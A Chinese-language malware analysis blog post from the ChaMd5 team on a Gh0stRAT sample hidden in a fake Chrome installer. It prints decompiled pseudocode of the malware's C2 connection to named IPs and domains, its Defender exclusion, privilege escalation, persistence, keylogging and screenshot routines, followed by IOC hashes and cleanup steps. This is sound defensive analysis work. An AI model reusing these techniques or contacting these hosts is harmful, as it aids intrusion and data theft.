长亭百川云 - 文章详情

Chrome浏览器安装包中捆绑的Gh0stRAT

ChaMd5安全团队

165

2024-07-21

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组)

背景

某天监视全流量发现办公网出现外连告警,经排查发现是某员工从网站chrome-web.com上下载了chrome浏览器安装包,该安装包运行后出现外连。简单查看该安装程序,发现打包了两个程序在内:一个是正常的chrome安装包(VT正常),一个是恶意的安装文件WindowsProgram.msi(VT报毒)。随后在逆向过程中,搜索一些字符串,如agmkis2、Shellex等,发现该样本归属Gh0stRAT家族。

行为收集

1.文件行为:

通过修改文件属性隐藏恶意可执行文件TrackerUI.sys和Phone.exe(Windows系统中,也有一个Phone.exe程序,用于将移动设备的数据同步到PC)。

这里通过修改系统设置显示“隐藏文件”是没用的,必须通过attrib命令可以解除隐藏。

2.网络行为:

该恶意程序和107.148.73.136与154.19.85.129进行通讯,C2主机依然存活(截至2024年7月19日)。

逆向分析

分析Phone.exe,恶意代码以压缩格式存储在其中,该程序在执行过程中逐步释放恶意代码。解压数据,将解压数据dump出来,发现是一个dll库,这里叫“a.dll”好了。

该dll库的DllMain函数调用另一个名为fuckyou的函数。

fuckyou函数内容如下,其中涉及敏感的行为有提权、查询Defender的运行情况、与域名"bbnhh.icu"进行连接通信、创建本地执行计划任务

int fuckyou()  
{  
  int v0; // eax  
  HANDLE CurrentProcess; // esi  
  unsigned int v2; // kr00_4  
  unsigned int v3; // kr04_4  
  int v4; // ecx  
  char v5; // al  
  unsigned int v6; // edx  
  char *v7; // edi  
  unsigned int v9; // kr08_4  
  unsigned int v10; // kr0C_4  
  HANDLE Toolhelp32Snapshot; // esi  
  int v12; // eax  
  int v13; // eax  
  SC_HANDLE v14; // eax  
  SC_HANDLE v15; // edi  
  unsigned __int8 v16; // al  
  SC_HANDLE v17; // esi  
  int v19; // [esp+14h] [ebp-1DCh] BYREF  
  char v20[48]; // [esp+18h] [ebp-1D8h] BYREF  
  __int128 pSecurityDescriptor[4]; // [esp+48h] [ebp-1A8h] BYREF  
  PROCESSENTRY32 pe; // [esp+88h] [ebp-168h] BYREF  
  char pcbBytesNeeded[6]; // [esp+1B0h] [ebp-40h] BYREF  
  char v24; // [esp+1B7h] [ebp-39h] BYREF  
  char Src[52]; // [esp+1B8h] [ebp-38h] BYREF  
  
  sub_10001330();  
  qword_100296B0 = sub_100010F0();  
  qword_100296A8 = sub_10001110();  
  dword_100296A0 = (int (__stdcall *)(_DWORD))sub_10001820(qword_100296B0);  
  dword_100296A0(dword_100296E0);  
  v0 = dword_100296A0(dword_100296E4);  
  strcpy(pcbBytesNeeded, "send");  
  strcpy(v20, "htons");  
  DWORD1(pSecurityDescriptor[0]) = v0;  
  dword_1002969C = v0;  
  *((_QWORD *)&pSecurityDescriptor[0] + 1) = 0x7463656E6E6F63i64;  
  dword_10029698 = sub_10001820(v0);  
  dword_10029694 = sub_10001820(DWORD1(pSecurityDescriptor[0]));  
  dword_1002958C = sub_10001820(DWORD1(pSecurityDescriptor[0]));  
  dword_10029484 = sub_10001820(DWORD1(pSecurityDescriptor[0]));  
  CurrentProcess = GetCurrentProcess();  
  InitializeSecurityDescriptor((char *)pSecurityDescriptor + 8, 1u);  
  SetSecurityDescriptorDacl((char *)pSecurityDescriptor + 8, 1, 0, 0);  
  SetSecurityInfo(CurrentProcess, SE_KERNEL_OBJECT, 4u, 0, 0, 0, 0);  
  strcpy(pcbBytesNeeded, "YTERE");  
  DWORD1(pSecurityDescriptor[0]) = 3224115;  
  v2 = strlen(pcbBytesNeeded);  
  if ( v2 != -1 )  
    memmove(&unk_10027AA8, pcbBytesNeeded, v2 + 1);  
  v3 = strlen((const char *)pSecurityDescriptor + 4);  
  if ( v3 != -1 )  
    memmove(&unk_10027AD5, (char *)pSecurityDescriptor + 4, v3 + 1);  
  v4 = 0;  
  strcpy(pcbBytesNeeded, "/d4/");  
  strcpy((char *)pSecurityDescriptor + 8, "107.148.73.136");  
  do  
  {  
    v5 = pcbBytesNeeded[v4++];  
    Src[v4 - 1] = v5;  
  }  
  while ( v5 );  
  v6 = strlen((const char *)pSecurityDescriptor + 8) + 1;  
  v7 = &v24;  
  while ( *++v7 )  
    ;  
  qmemcpy(v7, (char *)pSecurityDescriptor + 8, v6);  
  v9 = strlen(Src);  
  if ( v9 != -1 )  
    memmove(&unk_10027AF9, Src, v9 + 1);  
  WORD2(pSecurityDescriptor[0]) = 111;  
  v10 = strlen((const char *)pSecurityDescriptor + 4);  
  if ( v10 != -1 )  
    memmove(&unk_10027B4D, (char *)pSecurityDescriptor + 4, v10 + 1);  
  strcpy((char *)pSecurityDescriptor + 8, "\\\\.\\pipe\\WF3ss22NHFsnBgfsHDF6");  
  hObject = CreateNamedPipeA((LPCSTR)pSecurityDescriptor + 8, 3u, 0, 1u, 0, 0, 0, 0);//创建一个双向命名管道  
  if ( hObject == (HANDLE)-1 )  
    ExitProcess(1u);  
  sub_10002080();                   //进程提权,获取"SeDebugPrivilege"权限  
  ConvertSidToStringSidA(Sid, &StringSid);  
  v19 = 3159603;  
  strcpy(&v20[8], "ZhuDongFangYu.exe");  
  pe.dwSize = 296;  
  Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);  
  if ( Process32First(Toolhelp32Snapshot, &pe) && Process32Next(Toolhelp32Snapshot, &pe) )  
  {  
    do  
    {  
      v12 = strcmp(pe.szExeFile, (const char *)&v19);  
      if ( v12 )  
        v12 = v12 < 0 ? -1 : 1;  
      if ( !v12 )  
        break;  
      v13 = strcmp(pe.szExeFile, &v20[8]);  //寻找是否有进程名为"ZhuDongFangYu.exe"的进程  
      if ( v13 )  
        v13 = v13 < 0 ? -1 : 1;  
    }  
    while ( v13 && Process32Next(Toolhelp32Snapshot, &pe) );   
  }  
  CloseHandle(Toolhelp32Snapshot);  
  v14 = OpenSCManagerA(0, 0, 4u);  
  v15 = v14;  
  if ( v14 )  
  {  
    v17 = OpenServiceA(v14, "WinDefend", 4u);  
    if ( v17 )  
    {  
      if ( QueryServiceStatusEx(          //获取Windows defender的服务信息  
             v17,  
             SC_STATUS_PROCESS_INFO,  
             (LPBYTE)pSecurityDescriptor + 8,  
             0x24u,  
             (LPDWORD)pcbBytesNeeded) )  
      {  
        BYTE4(pSecurityDescriptor[0]) = HIDWORD(pSecurityDescriptor[0]) == 4;  
        CloseServiceHandle(v17);  
        CloseServiceHandle(v15);  
        v16 = BYTE4(pSecurityDescriptor[0]);  
      }  
      else  
      {  
        CloseServiceHandle(v17);  
        CloseServiceHandle(v15);  
        v16 = 0;  
      }  
    }  
    else  
    {  
      CloseServiceHandle(v15);  
      v16 = 0;  
    }  
  }  
  else  
  {  
    v16 = 0;  
  }  
  dword_10027B70 = v16;  
  dword_10027B6C = sub_10001D40();  
  if ( !dword_10027B6C ) //Defender在防护中  
    sub_10002440(); //向Defender添加排除项(即信任区)  
  sub_10002320();  
  return 0;  
}

与域名"bbnhh.icu"(DNS解析为154.19.85.129)进行连接通信,使用http协议。

与域名"bbnhh.icu"数据通信使用的加密方式如下:

在C:\Program Files\目录下创建“Windows Defenderr”目录(比Windows Defender的所在目录多了一个字符“r”),并添加为Windows Defender的信任区。

将恶意进程本身的映像文件设置为隐藏状态和操作系统使用其中的一部分或独占使用的文件或目录。

创建本地执行计划任务,定时执行该恶意程序。

在a.dll库的sub_10002320再次释放一个恶意dll文件,这里称为“b.dll”。b.dll的DllMain函数如下图所示。

Shellex函数如下:

int __cdecl Shellex(char a1)  
{  
  v1 = operator new(2121);  
  qmemcpy((void *)v1, &a1, 0x849u);  
  lstrcpyA(a10714873136, (LPCSTR)v1);             //'107.148.73.136'  
  lstrcpyA(a87df223265Cyou, (LPCSTR)(v1 + 300));  // 域名“87df223265.cyou”  
  lstrcpyA(aDefault, (LPCSTR)(v1 + 608));  
  lstrcpyA(a10, (LPCSTR)(v1 + 658));  
  lstrcpyA(ServiceName, (LPCSTR)(v1 + 690));  
  lstrcpyA(byte_101370A6, (LPCSTR)(v1 + 790));  
  lstrcpyA(byte_10137126, (LPCSTR)(v1 + 918));  
  lstrcpyA(byte_10137226, (LPCSTR)(v1 + 1174));  
  lstrcpyA(byte_10137338, (LPCSTR)(v1 + 1448));  
  lstrcpyA(byte_1013739C, (LPCSTR)(v1 + 1548));  
  lstrcpyA(byte_101373D8, (LPCSTR)(v1 + 1608));  
  dword_10136FE8 = *(_DWORD *)(v1 + 600);  
  dword_10136FEC = *(_DWORD *)(v1 + 604);  
  dword_10137328 = *(_DWORD *)(v1 + 1432);  
  dword_1013732C = *(_DWORD *)(v1 + 1436);  
  dword_10137330 = *(_DWORD *)(v1 + 1440);  
  dword_10137334 = *(_DWORD *)(v1 + 1444);  
  word_101373CE = *(_WORD *)(v1 + 1598);  
  LOWORD(dword_101373D0) = *(_WORD *)(v1 + 1600);  
  strcpy(ModuleName, "USER32.dll");  
  strcpy(ProcName, "PostThreadMessageA");  
  v2 = (void (__stdcall *)(DWORD, _DWORD, _DWORD, _DWORD))sub_1001ABD0(ModuleName, ProcName);  
  strcpy(v27, "GetInputState");  
  v3 = (void (*)(void))sub_1001ABD0(ModuleName, v27);  
  strcpy(v25, "GetMessageA");  
  v4 = (void (__stdcall *)(char *, _DWORD, _DWORD, _DWORD))sub_1001ABD0(ModuleName, v25);  
  strcpy(v18, "KERNEL32.dll");  
  strcpy(v34, "ExpandEnvironmentStringsA");  
  v37 = (void (__stdcall *)(CHAR *, char *, int))sub_1001ABD0(v18, v34);  
  strcpy(v26, "ADVAPI32.dll");  
  strcpy(v35, "StartServiceCtrlDispatcherA");  
  v16[0] = sub_1001ABD0(v26, v35);  
  strcpy(v22, "SHELL32.dll");  
  strcpy(v33, "SHGetSpecialFolderPathA");  
  v36 = (int (__stdcall *)(_DWORD, char *, int, _DWORD))sub_1001ABD0(v22, v33);  
  strcpy(v31, "GetFileAttributesA");  
  v19[0] = sub_1001ABD0(v18, v31);  
  strcpy(v29, "DefineDosDeviceA");  
  v39 = (void (__cdecl *)(int, _DWORD *, char *))sub_1001ABD0(v18, v29);  
  strcpy(v23, "CopyFileA");  
  v40 = sub_1001ABD0(v18, v23);  
  strcpy(v28, "ShellExecuteA");  
  *(_DWORD *)Format = sub_1001ABD0(v22, v28);  
  strcpy(v30, "SetFileAttributesA");  
  v38 = sub_1001ABD0(v18, v30);  
  CurrentThreadId = GetCurrentThreadId();  
  v2(CurrentThreadId, 0, 0, 0);  
  v3();  
  v4(v49, 0, 0, 0);  
  InitializeSecurityDescriptor(pSecurityDescriptor, 1u);  
  SetSecurityDescriptorDacl(pSecurityDescriptor, 1, 0, 0);  
  MutexAttributes.bInheritHandle = 0;  
  MutexAttributes.lpSecurityDescriptor = pSecurityDescriptor;  
  MutexAttributes.nLength = 12;  
  CommandLineA = GetCommandLineA();  
  memset(Name, 0, sizeof(Name));  
  v55 = 0;  
  v56 = 0;  
  strcat(Name, aGlobal);  
  strcat(Name, CommandLineA);  
  hObject = CreateMutexA(&MutexAttributes, 0, Name);  
  if ( !hObject || GetLastError() != 183 )  
  {  
    v37(byte_10137338, v57, 260);  
    strcpy(byte_10137338, v57);  
    if ( *((_BYTE *)&dword_10137334 + strlen(byte_10137338) + 3) == 92 )  
      *((_BYTE *)&dword_10137334 + strlen(byte_10137338) + 3) = 0;  
    if ( dword_10137334 )  
    {  
      word_1014421C = 0;  
      if ( !sub_1001A0A0(String, 50) )  
        sub_1001D200(ServiceName);  
      while ( 1 )  
      {  
        Sleep(0x32u);  
        sub_1001DD40(); //间隔50s获取一次桌面信息,并尝试连接C2  
      }  
    }  
    if ( dword_1013732C )  
    {  
      word_1014421C = 1;  
      if ( strstr(CommandLineA, aAcsi) )  
      {  
        while ( 1 )  
        {  
          Sleep(0x32u);  
          sub_1001DD40();  //间隔50s获取一次桌面信息,并尝试连接C2  
        }  
      }  
      if ( sub_1001ECA0(ServiceName) )  
      {  
        v21[0] = (int)ServiceName;  
        v21[1] = (int)sub_1001CDE0;  
        v21[2] = 0;  
        v21[3] = 0;  
        if ( !((int (__stdcall *)(int *))v16[0])(v21) )  
        {  
          v7 = OpenSCManagerA(0, 0, 0x20000u);  
          v8 = v7;  
          if ( v7 )  
          {  
            v9 = OpenServiceA(v7, ServiceName, 0x10u);  
            v10 = v9;  
            if ( v9 )  
            {  
              started = StartServiceA(v9, 0, 0);  //启动C:\\ProgramData\\Microsoft Drive\\Mark.sys  
              v15 = v10;  
              if ( started )  
              {  
                CloseServiceHandle(v15);  
                ((void (__cdecl *)(SC_HANDLE))CloseServiceHandle)(v8);  
                sub_1001D810();  
                ExitProcess(0);  
              }  
              CloseServiceHandle(v15);  
            }  
            CloseServiceHandle(v8);  
          }  
        }  
        while ( 1 )  
        {  
          Sleep(0x32u);  
          sub_1001DD40();  
        }  
      }  
      Buffer = 0;  
      memset(v44, 0, sizeof(v44));  
      v45 = 0;  
      v46 = 0;  
      strcpy(Format, "%s\\%s");  
      sprintf(&Buffer, Format, byte_10137338, byte_1013739C);  
      sub_1001D200(ServiceName);  
      sub_1001ECF0(&Buffer, (int)ServiceName, (int)byte_101370A6);  
      sub_1001D810();  
      ExitProcess(0);  
    }  
    if ( dword_10137330 )  
    {  
      word_1014421C = 2;  
      if ( !sub_1001A0A0(String, 50) )  
        sub_1001D200(ServiceName); //创建"C:\\ProgramData\\Microsoft Drive\\Mark.sys"文件  
      memset(v51, 0, sizeof(v51));  
      v52 = 0;  
      v53 = 0;  
      if ( v36(0, v51, 24, 0) )  
      {  
        Buffer = 0;  
        memset(v44, 0, sizeof(v44));  
        v45 = 0;  
        v46 = 0;  
        strcpy((char *)v16, "%s\\%s");  
        sprintf(&Buffer, (const char *const)v16, v51, byte_1013739C);  
        if ( ((int (__stdcall *)(char *))v19[0])(&Buffer) == -1 )  
        {  
          GetModuleFileNameA(0, Filename, 0x104u);  
          strcpy(v24, "\\??\\%s\\%s");  
          sprintf(&Buffer, v24, v51, byte_1013739C);  
          strcpy((char *)v19, "agmkis2");  
          DefineDosDeviceA(1, v19, &Buffer);          //创建符号链接  
          Sleep(0x64u);  
          strcpy(ModuleName, "\\\\.\\agmkis2");  
          ((void (__cdecl *)(char *, CHAR *, _DWORD))ExpandEnvironmentStringsA)(v58, ModuleName, 0);   
          (*(void (__cdecl **)(char *, int))&v35[12])(v50, 2);  
          sub_1001D5B0(&v18[4]);  
          sprintf((char *const)&MutexAttributes, v13, v48, byte_1013739C);  
          v14(0, Operation, &MutexAttributes, 0, v48, 10);  
          sub_1001D810();  
          ExitProcess(0);  
        }  
        while ( 1 )  
        {  
          Sleep(0x32u);  
          sub_1001DD40();  
        }  
      }  
    }  
  }  
  return 0;  
}

创建并写入"C:\ProgramData\Microsoft Drive\Mark.sys"和"C:\ProgramData\Microsoft Drive\drive.sys"文件,同时设置为隐藏文件。

间隔一段时间获取键盘输入并写入到"C:\ProgramData\Microsoft Drive\drive.sys"文件中。另外,"C:\ProgramData\Microsoft Drive\Mark.sys"文件为驱动程序,随后通过StartServiceA函数启动。

将安装时间保存在 HKLM\SYSTEM\Select 键的 MarkTime 值中,将当前运行的恶意软件复制到启动文件夹(C:\Documents and Settings\All Users\Start Menu\Programs\Startup)。此过程使用 DefineDosDeviceA函数为目标路径创建符号链接,并在复制过程中使用它。字符串“\\.\agmkis2”用作符号链接的名称。

与'107.148.73.136'通信的数据解密算法如下:

int __cdecl sub_100045D0(int a1, int a2) { int result; // eax int i; // ecx

result = a1; for ( i = 0; i < a2; ++i ) *(_BYTE )(i + a1) = ((_BYTE *)(i + a1) + 4) ^ 3; return result; }

sub_1001F6B0处实现了一个远程命令控制终端。

通过OpenDesktop函数打开一个桌面对象,再通过SetThreadDesktop函数将线程与用户当前打开桌面关联,实现截屏。

HDESK __cdecl sub_10029F60(const CHAR *a1)  
{  
  
  LibraryA = LoadLibraryA(aUser32Dll_0);  
  if ( a1 )  
  {  
    OpenDesktopA = (HDESK (__stdcall *)(LPCSTR, DWORD, BOOL, ACCESS_MASK))GetProcAddress(LibraryA, aOpendesktopa);  
    result = OpenDesktopA(a1, 0, 0, 511);  
  }  
  else  
  {  
    OpenInputDesktop = (HDESK (__stdcall *)(DWORD, BOOL, ACCESS_MASK))GetProcAddress(LibraryA, aOpeninputdeskt);  
    result = OpenInputDesktop(1, 0, 511);  
  }  
  v5 = result;  
  if ( result )  
  {  
    if ( sub_10029EB0(result) )  
    {  
      return (HDESK)1;  
    }  
    else  
    {  
      v6 = LoadLibraryA(aUser32Dll_0);  
      CloseDesktop = (BOOL (__stdcall *)(HDESK))GetProcAddress(v6, aClosedesktop);  
      CloseDesktop(v5);  
      return 0;  
    }  
  }  
  return result;  
}  
BOOL __cdecl sub_10029EB0(HDESK hObj)  
{  
  
  LibraryA = LoadLibraryA(LibFileName);  
  GetCurrentThreadId = (DWORD (__stdcall *)())GetProcAddress(LibraryA, aGetcurrentthre);  
  v3 = LoadLibraryA(aUser32Dll_0);  
  GetThreadDesktop = (HDESK (__stdcall *)(DWORD))GetProcAddress(v3, aGetthreaddeskt);  
  v5 = GetCurrentThreadId();  
  v6 = GetThreadDesktop(v5);  
  result = GetUserObjectInformationA(hObj, 2, pvInfo, 0x100u, &nLengthNeeded);  
  if ( result )  
  {  
    result = SetThreadDesktop(hObj);  
    if ( result )  
    {  
      v8 = LoadLibraryA(aUser32Dll_0);  
      CloseDesktop = (BOOL (__stdcall *)(HDESK))GetProcAddress(v8, aClosedesktop);  
      CloseDesktop(v6);  
      return 1;  
    }  
  }  
  return result;  
}

获取Windows账户登录界面的截图

IOC

FileName:Chrome-Setup.exe (受感染的安装程序)

  • MD5:e4c3ac83c30ddc1b214b1a2ea6a3136c

  • SHA1:f1352748da9d521aea9e9c72ae13e0c43939541a

  • SHA256:55f07e938dfde7b17c0d884909cecea384553884d404c4c5d3939a1e733b83be

FileName:WindowsProgram.msi (捆绑的恶意程序)

  • MD5:95930b374fd8d96b04410666fbb5fdf8

  • SHA1:11d99a6bb9816d6f3d547396437665629faf123e

  • SHA256:3dbd346026bee91736383cd5a8f51032d51301c9c433bf9f188e83552ac21e64

FileName:Phone.exe (恶意)

  • MD5:509b1fedb84f66c56a694bfae8c6d1f9

  • SHA1:b752c78a9e2ba5538ac62dba156765816465ef02

  • SHA256:5918dc52486d0ea50f96deff62b4e17ce438633d166156194713cbd511ba98f3

清除建议

1.杀死名为Phone.exe的所有进程

2.删除以下文件和目录:

C:\ProgramData\Microsoft Drive\

C:\Program Files\Windows Defenderr\

C:\Program Files\Windows Crashpads\

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2